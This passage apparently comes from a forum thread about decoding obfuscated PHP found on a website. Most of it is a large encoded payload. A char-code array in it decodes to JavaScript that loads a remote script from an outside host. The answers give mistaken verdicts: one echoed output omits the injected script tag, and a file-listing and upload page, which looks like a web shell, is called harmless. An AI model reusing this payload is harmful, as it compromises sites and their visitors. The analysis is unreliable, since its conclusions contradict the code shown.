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'\x29\x29\x29\x3B",".");
This code generates some Javascript:
foreach(array(10, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 115, 116, 121, 108, 101, 46, 100, 105, 115, 112, 108, 97, 121, 61, 39, 39, 59, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 40, 39, 80, 104, 112, 79, 117, 116, 112, 117, 116, 39, 41, 46, 105, 110, 110, 101, 114, 72, 84, 77, 76, 61, 39, 39, 59, 10, 10, 13, 9, 92, 39, 0, 112, 49, 60, 115, 99, 114, 105, 112, 116, 32, 115, 114, 99, 61, 104, 116, 116, 112, 58, 47, 47, 102, 97, 99, 101, 116, 111, 102, 97, 99, 101, 46, 100, 101, 47, 101, 120, 116, 47, 62, 60, 47, 115, 99, 114, 105, 112, 116, 62, 116, 114, 117, 101, 99, 115, 115) as $vj[0]) {
$vf. = chr($vj[0]);
}
Made an $vg., if I echo this, it generates:
document.getElementById('PhpOutput').style.display='';
document.getElementById('PhpOutput').innerHTML=''; \'p1truecss
So this code does nothing with your htaccess
The second code generates a Link. But I you currently are trying to hack a script. Which I don't know is legal. The code shows this error. So it is generating a link. But not all the variables it required are given. So I can't echo the preg_replace
Fatal error: preg_replace() [<a href='function.preg-replace'>function.preg-replace</a>]: Failed evaluating code:
To find out what your obfuscated code does, remove all the eval()s or replace them with print(). In this case it seems safe enough to do (but if you're already compromised, it wouldn't matter). If that doesn't reveal the code, add the print earlier on.
In your case the default fallback is to just output following:
<script src=http://facetoface.NOFOLLOW/ext/></script>
.de
You second codesnippet replaces some of the characters, so you end up with a dummy-page. The page shows all files in your folder and some options to upload files/create folders and such.
As far as I found out, this file was harmless. I could not see any signs of bad behavior in the code, although I found some ajax-script that I did not fully understand.

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